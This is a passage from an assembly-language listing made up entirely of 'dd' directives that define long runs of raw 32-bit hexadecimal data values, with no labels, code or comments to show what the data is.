		dd 1908F000h, 10911364h, 4E27FD02h, 0F9F4A3C1h,	16190086h
		dd 9E37A01Dh, 613B95F6h, 44EA04A7h, 3C98D5DAh, 4564883h
		dd 32ED4A81h, 0D42087CFh, 0B14CE7D9h, 6F021819h, 0D6D5F04Ah
		dd 8A85420h, 68F30573h,	0C0A3CB8Fh, 7CAD221Ch, 8DBC02C9h
		dd 1A3388C5h, 5C93D1E2h, 232E8EF0h, 0F0A28007h,	5D223471h
		dd 57CCA1CAh, 97431350h, 1C7BF80Eh, 430100AFh, 15FAA4C5h
		dd 7D18D1FBh, 5381008h,	64DE18B3h, 9E3990A3h, 67E65726h
		dd 998A983Dh, 4A43C1h, 30A88890h, 194775AEh, 7BD6573Ch
		dd 99B38CFh, 37702397h,	339C68Ah, 2445FCF1h, 38D1BD39h
		dd 4BE8418Fh, 0B196F3C3h, 0D97EF337h, 70301A07h, 0DA5B9Eh
		dd 0EAE3CEA6h, 80053099h, 5E3BF700h, 18C89DA9h,	4E8B303Ah
		dd 929B8670h, 594F0218h, 37D65D10h, 0C198B74Ch,	0F8ACD8F1h
		dd 71C5C4A1h, 72C2E6E8h, 73D480A9h, 49E53CFEh, 0B0ADC80h
		dd 9D8B455h, 98007E0Fh,	811FD35Ch, 6CA23Ah, 0D44191C9h
		dd 0E966F23h, 20E5A875h, 2A13B060h, 0AD004617h,	34585ED3h
		dd 0F407D141h, 0F974E9h, 0DA9BDD0Eh, 467D880Bh,	98781070h
		dd 8452AF12h, 5880BC00h, 0A4E6D1h, 0ABAD682Ch, 1E99505Eh
		dd 0A6D0D0Eh, 1A08009Ch, 85D3D2h, 0D7D0E87Eh, 841FA3A5h
		dd 0DE108602h, 64EDE981h, 0E4FB3CB8h, 0D9D3F860h, 0CCA89E0Fh
		dd 0EF760A1Bh, 0B006E0D2h, 99319704h, 0BEB20008h, 0CB8DB479h
		dd 0A550841Dh, 4C961AC0h, 155172B9h, 34EE5530h,	0A5397C30h
		dd 0E3072B11h, 1420556h, 0F8FEF40h, 0B8CD506Eh,	2A5F12FDh
		dd 0D53004BEh, 0BAB4093h, 0C29AE5D9h, 0DBFFC511h, 0E9F0D8A0h
		dd 0BE4042ECh, 30377BDAh, 35117617h, 0BB0C9108h, 0D06DF731h
		dd 0A698C8DDh, 0F4FE833h, 0E49A4E19h, 612A099Eh, 57E8A080h
		dd 8A31BCA1h, 0C49D799Ch
		dd 928341ECh, 0B0AE6708h, 493A68EAh, 0C8044D24h, 0DFE34E5Ch
		dd 9803C542h, 14D6AB0Ah, 3688099Ch, 6C905784h, 3E05619Bh
		dd 87F4DED3h, 1730BC70h, 63AD00D6h, 541BB494h, 4D00E14Ch
		dd 0F5793B8Fh, 78D1E6ABh, 0FA31C0F8h, 72D42C8Bh, 3CD3C26h
		dd 0DDCE14h, 0C0887889h, 3FA2EBDDh, 0A72A8503h,	0D80098B8h
		dd 1844A864h, 33116418h, 332FFD51h, 0A3F099C6h,	0C35A3811h
		dd 8C29B0Bh, 1C400012h,	2808E38h, 11D91646h, 0FB844647h
		dd 0F4075182h, 0F9688EE7h, 9FE06A47h, 155D011h,	0C2A9E630h
		dd 19437FDh, 9832EBD9h,	63099B05h, 1EDC1F78h, 640C24EEh
		dd 328840DAh, 6C8410Fh,	5F0A1933h, 0A891307Ch, 0F0A94880h
		dd 129E83h, 6072FC93h, 0B02F21D6h, 83A17869h, 0B448DE64h
		dd 197EEA06h, 0C4E0D462h, 9E730174h, 40C8ED47h,	9544E68Ch
		dd 0C4A06B51h, 0BD604A4Fh, 66F09418h, 0BA59C1CDh, 0FCC36E30h
		dd 2300C4DBh, 8A5C2E0Ch, 702B3429h, 30E2483Ah, 0B8DE5708h
		dd 52D6AD1Ch, 11882050h, 0FB29CAE9h, 0BE9C00F8h, 622032B7h
		dd 0DBC01F00h, 17B6E4A6h, 22031CFDh, 19857F58h,	56C2B3Ah
		dd 916B1A88h, 7C39674h,	80C8F867h, 0B531D35h, 2272F90Fh
		dd 11198460h, 7573097h,	0F2BB704Dh, 0A28930E1h,	590CCF35h
		dd 0E9D65E4Eh, 282300ADh, 0DA7D2EA7h, 860F34ECh, 0E1DC7980h
		dd 52A3321Bh, 3A88CC30h, 5585D564h, 41A5B4F6h, 0EA4FFEACh
		dd 0B0C104CCh, 78029BC5h, 0B4AF8C82h, 0E320E444h, 48EEF867h
		dd 93014D30h, 322F9E72h, 4AE82066h, 0C92D526h, 0A2E980BAh
		dd 0EE53D3ACh, 48A160B0h, 0BE4706D1h, 0E8709661h, 8311B6ECh
		dd 6E4225Eh, 0BC620F6Ah, 4594219h, 0B34E4CEAh, 23570701h
		dd 8878BF51h, 3EB28AE7h, 0B6BA478Ch, 0D45C4860h, 60EE17F4h
		dd 1A197C41h, 1B07465Bh, 0BF261883h, 64035124h,	66103A1Dh
		dd 7C518856h, 8AA42FD2h, 9FB49048h, 3302BEAFh, 325708ACh
		dd 0E264E8BBh, 0F6D33E7Fh, 0FB9C064Ah, 688441CDh, 86603FEEh
		dd 971AAE81h, 0C7F61D9Ch, 878A41Eh, 0E907CD76h,	5684A6D7h
		dd 0DBA00CD0h, 91E06066h, 5B3E4F8Ah, 51C1D907h,	9C30AF10h
		dd 58975045h, 0B3016C73h, 0D25556FEh, 7012E570h, 438A76C0h
		dd 0FA1CA953h, 5A83AC51h, 9E009432h, 640A8770h,	64B2290Fh
		dd 2C548425h, 887F486Ch, 287B7BD4h, 122D3001h, 239F72D7h
		dd 909EF820h, 0C256200Ch, 50058737h, 4F068298h,	4048AF8Eh
		dd 0C9400E4Ch, 0D6530843h, 22259AB0h, 57AF450h,	64C004AAh
		dd 824A218h, 319ADA2Fh,	50CB5D10h, 996A4690h, 0DFD38500h
		dd 4175663Fh, 678103ACh, 0BEEF6265h, 0CD3122h, 2D7DBC79h
		dd 83AC275Bh, 0B9D1DF00h, 0DDEAABD8h, 8A250222h, 6556841Ch
		dd 5F17F052h, 88417712h, 9654D655h, 8C20B025h, 546948D0h
		dd 16D5421Fh, 16C421ADh, 33188E65h, 9C26BC1Ah, 8C2CEB40h
		dd 1C4900AEh, 3890F015h, 8A315F08h, 7135E0C4h, 52F35888h
		dd 841B640Ah, 36C29D47h, 348209C7h, 5C03DA5Ah, 51E102E1h
		dd 1E7C6E09h, 86CC58E0h, 7C3390Ch, 0E7E21DFh, 1FE7EF12h
		dd 8CA3D287h, 10A05C18h, 0A5014833h, 19231C5Bh,	6474C312h
		dd 7C3B1E85h, 44A82ACCh, 0F9F009D3h, 0A100BE7Dh, 34388394h
		dd 96FF39B9h, 40E90040h, 443719B7h, 648310C7h, 5D306879h
		dd 2649C0D5h, 302AD3A4h, 62170D1Fh, 0F679C440h,	7F161Bh
		dd 0FC12927Dh, 0CE1EA8B5h, 73EBF500h, 0BF62CB45h, 1BFE39A6h
		dd 0A88316F4h, 0E2581F22h, 1891593Fh, 5D81BF02h, 3A904889h
		dd 0B05A2901h, 40B9FE2Fh, 1C324A8h, 5B91D860h, 4C8A05ADh
		dd 9C22DC5Ah, 5F654504h, 40B39B06h, 0EB121B05h,	0F909391h
		dd 24E9C0CFh, 0C003E11Ch, 0FE428A6Ch, 79EEB8C6h, 707D0083h
		dd 0BF10084Ah, 0E3291849h, 0D0C204ACh, 9EC80003h, 2100F1AEh
		dd 0B52FBE01h, 0CAF5B07h, 0EB77D6C2h, 0BD0CE318h, 40E62EC5h
		dd 7FB900DEh, 0F638ABA0h, 0E260FF61h, 0CE525B18h, 0AE730F55h
		dd 0AF8FA5F0h, 0D73FBC80h, 180CD1B0h, 3874942Ah, 0FEC4F047h
		dd 19501F44h, 0D01A7C33h, 301C10A4h, 452D7208h,	0DC44F40Ah
		dd 4391C6Ah, 78AE4954h,	0DDD6D280h, 0F70DC14Dh,	29C0D129h
		dd 0A0AAE6F0h, 8D2698h,	0B0BE4847h, 0ADE56DA5h,	8B281350h
		dd 8461B97Ah, 0DB4E2978h, 52E4B448h, 0BA1FA83Eh, 30082AC4h
		dd 85D9865Ch, 41DE7221h, 0E59E9604h, 0BAF67840h, 0C4A823D6h
		dd 0D1303250h, 0C40479D8h, 0D4C35771h, 8102D018h, 312AC2C5h
		dd 0B00A1829h, 0F0450757h, 0ACDE9C80h, 60019E99h, 449B70ADh
		dd 7B0083F9h, 0CB24422Ch, 0C5BAA6Ah, 5446AC9Dh,	4441EFD0h
		dd 491DC4D8h, 841228C5h, 98302345h, 8CD9D807h, 8DC7D0F6h
		dd 1F822380h, 0DFF40037h, 46E0E403h, 0B8882B8Eh, 9F4CA367h
		dd 0CAE5AA3h, 2883FB58h, 8C0EE9D1h, 8EA5D166h, 17A1805Eh
		dd 1BC2D15h, 3F24F901h,	81AB2041h, 857AA91h, 1180AFBAh
		dd 0F541A022h, 842A967Ah, 0E562B044h, 20399E10h, 3583BEBDh
		dd 0C22ABCE2h, 5515C46Dh, 0A128AB23h, 0C1FABDCh, 580509C0h
		dd 941E54D0h, 0EF08008Ah, 6D07F597h, 0F315F244h, 1A4512Fh
		dd 0BAF931BFh, 405A3457h, 0F3C39203h, 39005030h, 29EB2CCEh
		dd 0CBD793Fh, 0E4DC7EA5h, 1B3A1E91h, 53527846h,	3C472BD8h
		dd 60859658h, 71D05940h, 0D9C301EBh, 42E0BA09h,	7EB23431h
		dd 29C98117h, 0FCEA2C2Fh, 1C317925h, 4E3D1A3h, 52A3AC8h
		dd 84B05E50h, 2480AECh,	1B64D9BCh, 9765080Ch, 4976F661h
		dd 0F8806C90h, 0A281AD04h, 0BDBCA1E2h, 619409C7h, 0D3215443h
		dd 3385F08h, 0F3982E30h, 713843DBh, 0FE00FCC2h,	9CD010BAh
		dd 14C0BF32h, 0DC190A83h, 70907Ch, 1AC2FCE1h, 0B7F96B2h
		dd 7BB881C1h, 0F5F18D47h, 0A459204Ch, 915C31BCh, 205F2C99h
		dd 0A0908A9Ch, 77628D0Fh, 0DDDA82A5h, 801048A3h, 2D38C03Ch
		dd 0E231945Fh, 91018177h, 0D69CAEEAh, 82F0E902h, 1079CBh
		dd 0F58D80B8h, 2CB2EBCFh, 9754EC00h, 4D1D479h, 0D3221E94h
		dd 0FCD9C03Fh, 1A6C2AE9h, 188FB700h, 19FDBBDEh,	0FBA01E4Fh
		dd 20007EA3h, 7797565Ah, 760E6EAh, 153FCD40h, 0C6E200ABh
		dd 0DD059E2Ah, 0D239E768h, 3CB800C9h, 189FC8CCh, 0EA6D03E2h
		dd 0EC4A8555h, 4D9450F7h, 0F08090C5h, 882058C6h, 0FDAA0491h
		dd 0DA76F850h, 0A1171285h, 67D800E2h, 0E760DB1Dh, 1308CA00h
		dd 0B73D4063h, 1E2739Eh, 4851587Eh, 0C5C3E93Fh,	80D9D522h
		dd 77EAD740h, 0CA8F63h,	0E1E868B1h, 2675A4C9h, 0A7F04800h
		dd 4A0198ABh, 7342005Dh, 94BFCA0Eh, 8308D93Eh, 0EBD01Dh
		dd 95DECB55h, 0C900E6D3h, 0A13471D6h, 0BDDBC8h,	91447EB3h
		dd 0D3104E92h, 4221FE00h, 0A41DD21Fh, 9A7701F5h, 95E32868h
		dd 3383045h, 0D0759491h, 7A00CF7Ch, 0E9ED0611h,	4CB6C29h
		dd 0E7D268C0h, 254F80C9h, 9F5CF8CCh, 182C0019h,	0E179925Eh
		dd 21550327h, 1C82D37Ch, 60AAAFD0h, 0DB19D901h,	520BE76Eh
		dd 3B2D7FE4h, 0D000F3A7h, 441C7C8Fh, 0E2184546h, 0D540C30Bh
		dd 910F2090h, 10D69600h, 0BD068B2h, 0B9AE0008h,	60C43E39h
		dd 58F8AC07h, 4500B490h, 2055DE0Fh, 1D90E7BEh, 4FAFAAE3h
		dd 0B2A18F9Ch, 661DD062h, 66A0AE8Ch, 0DC017A5Dh, 0F5D9EE3Fh
		dd 1FE897E9h, 845F01E5h, 627FC927h, 17900058h, 0EA6705B1h
		dd 80083A50h, 6F94605Ch, 1CD6DC03h, 0CFB2E49Dh,	67B51BF0h
		dd 10DF0144h, 92407AAFh
		dd 0B3EBF4FAh, 0DBFA957Fh, 0D3D65600h, 0F7BE23C4h, 94140085h
		dd 0C567E3EEh, 9A00E2CAh, 81C9CC82h, 0EA972F65h, 0F0ED0060h
		dd 465B192Ch, 0C200E675h, 0ACBD9607h, 0AE1787h,	9D63B5AFh
		dd 0D290A405h, 9FBEDD05h, 0AC82327Ah, 5CE120A9h, 0E2294248h
		dd 4238811h, 0F53EF67Fh, 286A807Dh, 21EF4785h, 53953AD9h
		dd 344AF57Bh, 46B3FB0h,	0C823B500h, 688FE420h, 56A90722h
		dd 38E5D003h, 60E71E50h, 2D94189Ah, 6C74B01Bh, 7421840Bh
		dd 0C028E098h, 77B8000Ah, 0AF5B265Dh, 7029449h,	228CD2FDh
		dd 14DA55h, 4CB0B6C8h, 80E4011Ch, 0D37BCA3Ch, 0FCF5051Ch
		dd 50F4DBD2h, 47580072h, 46AF5CB9h, 0BCE4BFF4h,	0DC29AE00h
		dd 5F960121h, 40336071h, 0AC9CC3BAh, 37EBD311h,	2170300h
		dd 0A520BC79h, 0F165FF1Ah, 48F208h, 5E02FEF9h, 19554E1Ah
		dd 0B06DE403h, 0C64831BDh, 9A3022E8h, 117F9619h, 0D2E19D59h
		dd 1FFA3448h, 0A3BC7C02h, 0F8000911h, 0B16D0201h, 91F6F931h
		dd 0B50443Eh, 0E3C330F4h, 3BDD9040h, 83E60071h,	9EBB6A40h
		dd 0E8D9DE3Dh, 0C819E070h, 0BC237602h, 3D081128h, 1C0200FAh
		dd 8E9C80CCh, 48AB6135h, 4242843Ah, 0E8F283C8h,	6BF59300h
		dd 0AF73207Fh, 0FFBC0780h, 50EF0ED6h, 0B3D147C2h, 6AB081E3h
		dd 461FAE5h, 0CD384900h, 8ACC7101h, 8345D0C6h, 3730C87Ch
		dd 71B54221h, 0BC29AD03h, 8823E2B8h, 0AFB66D9h,	3A6957D7h
		dd 0EA983CDCh, 1561B907h, 0A79F3B00h, 90CDB708h, 0D7DC00BAh
		dd 6F369709h, 9D3B4FE3h, 8CD03E8Ah, 0D8BC3D8Eh,	0E8301972h
		dd 0F8965048h, 615EFB4Dh, 9486D040h, 0F19EFE57h, 0BE707C80h
		dd 0B90874BDh, 0F20A7891h, 0B000E0D1h, 3EE41BA5h, 50256F81h
		dd 0B920A054h, 0C40EC900h, 0CB4703F4h, 0C767984h, 0DBF1B672h
		dd 3F73A820h, 0C8380960h, 81FE509Eh, 0EB1F0B0h,	0DFC1F1D8h
		dd 0C8C95203h, 79A9AC00h, 8FBC1776h, 0C4B0D912h, 48DE3CB1h
		dd 7183CCh, 0CBA1FE76h,	9767B25Dh, 8868CCBEh, 0ADD0908h
		dd 5C30AA9Dh, 6505A046h, 403AEB5Ah, 954FCE8Ch, 2F00F2C4h
		dd 7A661BD1h, 646D21h, 7883CADEh, 68E46EFh, 1B70A862h
		dd 0A8AEC8h, 7ADD4309h,	0F28A3BA2h, 0BDD305F4h,	702B92Fh
		dd 0C062CA84h, 0BA0A5455h, 0B4A7EF24h, 0A2D16504h, 90993896h
		dd 0F5E5248Bh, 71C4C13Ch, 53347CE7h, 134223Ch, 0FC71CC41h
		dd 23FAB2B0h, 69D30004h, 1CEC933Fh, 7EEA0005h, 5296F9CFh
		dd 7BEC80BDh, 7B0EB53Eh, 0A3F6F3Dh, 0A8C6B986h,	0C1006C22h
		dd 877ABFEAh, 157D362h,	0AE61E080h, 26E93Fh, 30298ACFh
		dd 6D0D6FBh, 0B70CF3BAh, 20541977h, 67097A44h, 410251E2h
		dd 80B01D6Fh, 0C4D8CC11h, 12DA23C1h, 0B02B371Fh, 21C0B56Ch
		dd 87C4E0EFh, 77140C43h, 8319A91Ch, 6447600h, 36A323Eh
		dd 0D0891D67h, 1E2EC181h, 50952FF4h, 0DB15C4A8h, 5F707106h
		dd 0A41AD2Dh, 0FF8E0123h, 218507BCh, 7C9879FCh,	4684AD54h
		dd 2F502D9h, 31F0BC7Bh,	0FCA3100Bh, 13C80002h, 9B63A8AFh
		dd 8AF86029h, 19C030A3h, 78C194B6h, 0D4AC8F63h,	8F43048h
		dd 8BC7A02h, 0A6400CC4h, 3B3C02FBh, 0F90B40Eh, 8CE96094h
		dd 88A4C029h, 1C326236h, 40BEE9C2h, 2DC12Eh, 50D7D945h
		dd 6B2959AAh, 41947900h, 71D6C213h, 4C9197B4h, 1C01D228h
		dd 0DC4FAD2Bh, 80CEB3C8h, 36AAFD30h, 8E720CE7h,	0BD68E265h
		dd 6DE99504h, 7498FEE5h, 0D87108C1h, 3DC4668Ah,	71C95E40h
		dd 0F400580Bh, 0A370609Fh, 308EBDADh, 0BE58CEB5h, 52594D57h
		dd 0D9E0C90h, 0B818C8h,	23D2446Ch, 0B44DD124h, 81348097h
		dd 4A04980h, 19466638h,	0CEC880EEh, 50034509h, 955FBC75h
		dd 0E1500030h, 10D05D20h, 0C80F63DDh, 60646EFBh, 3F4518A5h
		dd 0B8C906Dh, 0AFDC47Eh, 0E4576780h, 84D215Eh, 388B15D4h
		dd 77DE04F4h, 9CC80C09h, 1A041255h, 23383A01h, 32A60301h
		dd 0CF9842BAh, 4F13779Dh, 0E4080CABh, 2FB084A1h, 0E4C890C5h
		dd 0B003318h, 0BF4882E3h, 0A4D8CECh, 72EDC912h,	2C521C90h
		dd 79D0A180h, 7771831h,	9C031B80h, 5EE0A59Eh, 981C9C0h
		dd 46600898h, 99C3BD80h, 8A250B58h, 1264D38Ah, 397709A9h
		dd 6DF29420h, 119DC14Dh, 2070EF64h, 0E10201E7h,	0F0978A1h
		dd 8D346082h, 0ED079505h, 0B8258396h, 27610C04h, 0AA15B642h
		dd 5C9D008h, 2098CCE8h,	0E760478h, 32D697BCh, 707E2098h
		dd 2F013C76h, 7A918BB7h, 0AF3095CCh, 24B25CD0h,	499C9200h
		dd 5BBA5350h, 0ADB87760h, 762DDC54h, 8F932CBCh,	0DB9D8C64h
		dd 88C87B91h, 1E76C7CAh, 0D967BCC2h, 4E900016h,	0BF735878h
		dd 404BC07h, 2A8134B4h,	7464CCC7h, 3DC40416h, 330612D0h
		dd 0C841082Fh, 7DC0B570h, 58BCF376h, 87E09C6Fh,	0C5027675h
		dd 0B3B98C59h, 0AA04048h, 10724D49h, 32C4CF87h,	0BF31D223h
		dd 82D7EA11h, 8F5D5C5Ah, 467CC4E5h, 71CB01FCh, 0D0F68ACEh
		dd 58880E0Ch, 677100B3h, 212A123Dh, 0E0C3E592h,	0A61A88h
		dd 0B5B06E69h, 75D990E2h, 0D1A0FAEAh, 8DFF4CDh,	0F84D8BBh
		dd 40BAFCBFh, 4EEF0F72h, 9503045Fh, 0ACF5EAh, 4ACF3F76h
		dd 0ECD40080h, 6D97E06Ah, 0BA025F28h, 0AE16512Dh, 189C4413h
		dd 81A4BB09h, 8614BCFBh, 61F0BE81h, 0AA832C78h,	5B4C043Bh
		dd 666300AEh, 4CE2C15Ah, 0DD1094ABh, 0BCC626DAh, 0E6807111h
		dd 0AA23C3C4h, 0E5D8448Ch, 0C4CE3Dh, 0F3A22C1h,	5C7A695h
		dd 42C923FAh, 0A0788891h, 74843F72h, 0BCB984F7h, 61180959h
		dd 46032917h, 0BB4A430h, 0ADBA0105h, 0E598A68Dh, 6586712Fh
		dd 0DC883018h, 5C9300E5h, 61E8A8F9h, 3195061Fh,	0A19FB9C0h
		dd 0C440AB58h, 0D1301B48h, 2329CAC4h, 0ECC08482h, 77C4D9h
		dd 30CAA4A0h, 0CD1CD401h, 4F610C38h, 0EB911480h, 0FB1B032Bh
		dd 8496C8CAh, 29CD40E4h, 0B00CD6D1h, 0BC630404h, 448E02Fh
		dd 2CC88296h, 4D3F10B0h, 2F5C1823h, 1C288C9h, 0B112763h
		dd 0FCD40DA2h, 0C300C79Ch, 0D075CE10h, 5CDA9EC2h, 4E251073h
		dd 0F1B6F021h, 5F3E00DDh, 0E95440BDh, 0E0898A1Eh, 5092B4A4h
		dd 3CC8108Bh, 0DCFCCAC0h, 1694FCD9h, 9C1F2FFh, 0DC468158h
		dd 0BC489D5Ch, 9E038C0Bh, 8C46F530h, 4A9D681h, 0F272E9FCh
		dd 0ACF4D047h, 389662D1h, 8619DD00h, 2A7072C0h,	30ACD830h
		dd 5EB1075Ch, 7D00F1CFh, 9DEF3565h, 3FD675Ah, 0ECBB3AEh
		dd 0F2801BEAh, 297D63D9h, 0AF0CE57Ch, 481EA157h, 7D8E3D46h
		dd 0BDA3D06Fh, 590005C2h, 0C818408Dh, 0C4129686h, 90BE1E20h
		dd 0DBF50A18h, 0D8D76800h, 0A930389Fh, 94821E88h, 0BC664A3Ah
		dd 0ADB3C094h, 0B9128A57h, 6402D748h, 0A8C13F89h, 0E4899008h
		dd 918C9709h, 0F64287D7h, 0BB62C0C0h, 6E46192Ah, 0C4BE36C9h
		dd 0C61E4192h, 0A6D32129h, 726F0F7h, 8502B2Ch, 0E1000C29h
		dd 1BA4D2CFh, 48BE5008h, 0B9EF000Eh, 1F722BF7h,	741E2EFFh
		dd 3400990Dh, 0F3ACE9E2h, 68F164ADh, 55848178h,	86BA013Ah
		dd 0C630E9F6h, 7E007866h, 0A4EE9B64h, 8CE47BE3h, 0D1092AFEh
		dd 24450726h, 0CE60FB60h, 8A10CD71h, 30C8D0EEh,	71B64380h
		dd 2E75B285h, 0E00487ECh, 0AEA9D69Ch, 849B88C0h, 2B2D06h
		dd 42B1925Ah, 0D74FC416h, 7B2660F2h, 467424ABh,	0D46700BFh
		dd 3FAFD1EEh, 345349B1h, 0BE89AE08h, 0C95C2905h, 5FECE4CDh
		dd 293167E9h, 0E52914F3h, 0AD08305Ch, 0B8BED640h, 0F30341CCh
		dd 98E83DD2h, 962E7AB0h
		dd 5F676089h, 1620B4h, 8C414CDCh, 7309B161h, 230A8D97h
		dd 1C71B38h, 37FFA7B9h,	0F4D55E13h, 0C9EE8A60h,	2523F939h
		dd 7D7000C5h, 0EE426AEBh, 449531B7h, 803E8338h,	0E67B10A9h
		dd 7C48A117h, 2F5DBFh, 93C0A048h, 96535F2h, 5E2A8F7Bh
		dd 3700D80Ch, 1DFEA788h, 281B7556h, 3BDD0DE0h, 0D104B403h
		dd 0C129BF7Dh, 23443C73h, 300EB208h, 0BEE41568h, 65F20602h
		dd 7A32C66Fh, 0CC6D540Ch, 717716B8h, 9B88338h, 90A0C6F2h
		dd 47220D1h, 0C3EB84A0h, 55F4B4A8h, 0A05984E2h,	0C0C7298Ch
		dd 902DC589h, 205471C8h, 953CAB8Dh, 93109224h, 4F13FC49h
		dd 46BEC0A0h, 890FD0Bh,	0C680A9E6h, 0A6C818DBh,	4FEB58F3h
		dd 0B30F1CBAh, 223EFA59h, 0C2C0CF02h, 0F1D85198h, 0B018D7h
		dd 0CBCD2123h, 9625C5C7h, 0FBBB3505h, 808977B7h, 44BA7060h
		dd 191B298Dh, 0D798A83Ah, 51462C72h, 18B3D908h,	5B240FE7h
		dd 0BB647689h, 985848Eh, 9C5A2E80h, 0C0F05528h,	272E020h
		dd 0F3EB782Ch, 68516E30h, 7B80B311h, 3FBCF576h,	89C3D742h
		dd 0F1837673h, 0E0BC64AFh, 0A76483D4h, 6C885C21h, 80890029h
		dd 569E7C5Fh, 21008C18h, 3999C981h, 497F9772h, 0B62418EEh
		dd 0A78A0A30h, 1F7A168Ch, 604E1393h, 0C0C4CB3Ch, 11B22323h
		dd 0D3EE14B4h, 62E604D8h, 0D4C1F173h, 60F6B7F9h, 81AE65F0h
		dd 0F8221Eh, 3E1D84F3h,	10DEEFDh, 2E2D1CDCh, 693F83BDh
		dd 13F43C98h, 0E042215Fh, 51CB43F3h, 18B67930h,	0E8972CF8h
		dd 8B3B0880h, 0B6C8C304h, 21852CD0h, 229E4F70h,	8CA07EA8h
		dd 36D123C8h, 0C5C5F444h, 8AA81A10h, 3A817064h,	0E4C1B612h
		dd 9D7A1003h, 45590011h, 8260481Ah, 0E09D0A6h, 65BA3169h
		dd 608DE4A0h, 0FE4CA23Ch, 7CD40064h, 9EBC8B76h,	149CA311h
		dd 29346DEh, 0E9CB84F6h, 9394C646h, 32B17810h, 2CD1F82Ch
		dd 18CB9C13h, 0CEAC509Dh, 1536A0F7h, 94619B6h, 0AEB80861h
		dd 3221E810h, 78007C94h, 2C3B769Bh, 7847F9F4h, 0D4C3DB20h
		dd 0E56D26E4h, 0BF467434h, 5CF09F06h, 5A00D90Dh, 6FAA39E4h
		dd 2C7603Bh, 0F3ADAB80h, 10C7DADDh, 6437C4h, 0F0939AF0h
		dd 8A040C6Bh, 7BE45961h, 8A8810CEh, 98935DC3h, 0A48CFBAh
		dd 0C2BCEDFAh, 0E4EB44CCh, 4F005F14h, 77A13E28h, 98A91Dh
		dd 24079EFBh, 0ABC9D231h, 28610B26h, 8F50F647h,	0FD544FAh
		dd 60524B8Ch, 0BFF8BBE3h, 1CF480DDh, 7D0BDC85h,	0D015307Ah
		dd 0B9446874h, 1B4930DCh, 0BD00301Fh, 81D0E2F5h, 4629095h
		dd 0AFE6D714h, 0BDACA461h, 6E935300h, 0DAD4A50Ah, 4F57DCCh
		dd 57BA52C8h, 0F9BC8099h, 640063CFh, 9EF8AAA2h,	12F3E1D2h
		dd 4198C53Eh, 0D8F7D9B4h, 80D828D7h, 447EF023h,	63B503A8h
		dd 0D18BF718h, 0FAE26AC0h, 0EA81962Dh, 0C82CE3E0h, 243CF2DAh
		dd 42B0E5B7h, 4227BD3Eh, 0C8D75D22h, 0D2F57Ch, 0CAF9C1D1h
		dd 6F5EB2B3h, 297BC2E8h, 6806064Fh, 612FEBh, 238FE51Fh
		dd 0B946D6FBh, 650EC2F6h, 892FAE62h, 0B6E01129h, 76097A18h
		dd 1C47BCF4h, 72840000h, 1D6A3476h, 0EF76F579h,	9AA0202h
		dd 0CAD2B708h, 44F047B8h, 0B2060B9h, 0B875018Fh, 0BCF0B2FDh
		dd 0ED14EC74h, 49A45900h, 18D97363h, 47042C8Ah,	16E02CACh
		dd 0C18C80F5h, 9D2C1FB9h, 0BD62FCABh, 39D0E4BEh, 4C011E71h
		dd 0C2F36927h, 6CB2FDD6h, 0EF7E89F4h, 269960BCh, 3B5484B1h
		dd 5B00DFA4h, 75224478h, 0BB38A2h, 7E4E200Ch, 4D2F3C60h
		dd 84182A5Fh, 5D9BACD0h, 5EE814ABh, 4DBD6800h, 0B744E6FAh
		dd 0F8DB5C01h, 2723D184h, 0D032DAD5h, 88349373h, 4623CDC4h
		dd 0BA227Ah, 28C4D4EBh,	3C998901h, 616E5807h, 0C08CD11Eh
		dd 20A5415Ch, 3DE1F698h, 0C3E83AACh, 0D80BDC22h, 0FA2F5957h
		dd 0A54D2104h, 0AC30D00Ah, 8A647E81h, 41F2BA65h, 5C022088h
		dd 0E766E890h, 0AA2BA004h, 6904BB5Dh, 63833B6h,	0D8822549h
		dd 2B0C8843h, 0A03BAED1h, 20A36F05h, 0CE18FA0Ch, 9800F346h
		dd 5296D71Ch, 0DD303FBEh, 86C8802Ch, 680D69F4h,	0C790459h
		dd 0FAE8EE18h, 0CF368C13h, 80355C08h, 0C10D9D5Eh, 4A1C7B78h
		dd 0BB7740h, 8616BA6Dh,	32C05D43h, 0AB60585Ah, 0C699C8C0h
		dd 596AA880h, 0DCB8F4DCh, 55636400h, 848AFD8Eh,	3CBE9A59h
		dd 0A5122C18h, 0F224B2B0h, 0C5393095h, 3C32FD02h, 0C02C9C62h
		dd 4BD9Eh, 0D48274BEh, 980594EFh, 39C9470Bh, 7140E0C4h
		dd 24754824h, 945231Eh,	0C4A38429h, 915A07E1h, 8D23D02Fh
		dd 5DD62C01h, 0A280AA0Fh, 0ADF21F46h, 112477B7h, 0D3649008h
		dd 0ED610C45h, 8C7D0EE8h, 0F386200Fh, 307C546Dh, 0D229C71Dh
		dd 0D000600Ch, 4F337509h, 13A9961h, 0FEE25489h,	30CFDAD8h
		dd 2D2757B8h, 21C8A238h, 6AD0FADCh, 86019C5h, 0E612CD81h
		dd 0E5658404h, 0B8898D02h, 833298F0h, 0FC5CD9CEh, 19608h
		dd 9BA0EE7Dh, 0E900A9FCh, 0D8178DC8h, 1221247Ch, 0C3450DAAh
		dd 48FE1B48h, 0C05B654Eh, 0CBB6E160h, 0BC90C58h, 0D013F37h
		dd 0A011141Fh, 0D429E880h, 0F91231D6h, 7CF2D16Dh, 0B295935h
		dd 8CE4A164h, 910E8921h, 19290F55h, 71C93996h, 0BD00D6E5h
		dd 988804C9h, 0FEB7161Bh, 23403B01h, 0AC5E00B3h, 0CADE918Bh
		dd 0AFB9F704h, 10937557h, 0B194A7E9h, 0F3BA0E40h, 66050F9Ah
		dd 3622D83Fh, 0F87008D0h, 0D3D103F6h, 0A81C898Ah, 0DFFAA807h
		dd 7792918h, 3C18BD00h,	0EBE52D04h, 1520D03Ch, 0DC0033DDh
		dd 0BC085D8Ah, 262A2FD6h, 1A80E27Ch, 0C89D8839h, 43809311h
		dd 982A90B5h, 0FC86BA0Ch, 736680FDh, 918C007Ah,	99022BD6h
		dd 35500859h, 1E43DDC4h, 0D3DD885Ch, 227081E4h,	6675F103h
		dd 0C4CA0724h, 654923BFh, 0D2F18098h, 0F0E43EC4h, 51657026h
		dd 24F27D05h, 8348CB5h,	3C1F88CDh, 841024B0h, 0B50FABA8h
		dd 0BAC1B33Dh, 0D72FAFC3h, 81AC5A83h, 0A62924h,	4E1A5872h
		dd 881CCDA2h, 81DE1D58h, 0C6739120h, 0B086329h,	0C05FB98Bh
		dd 1F1947B4h, 3A4380BCh, 0D1184883h, 0C2AF4C8Dh, 809090C6h
		dd 4625212Ah, 20F4A20Ch, 0D9E109Dh, 7830AD41h, 101E42F1h
		dd 0C58EBEC9h, 258B3D91h, 96F842F4h, 0C8904598h, 0F9F04D8Ch
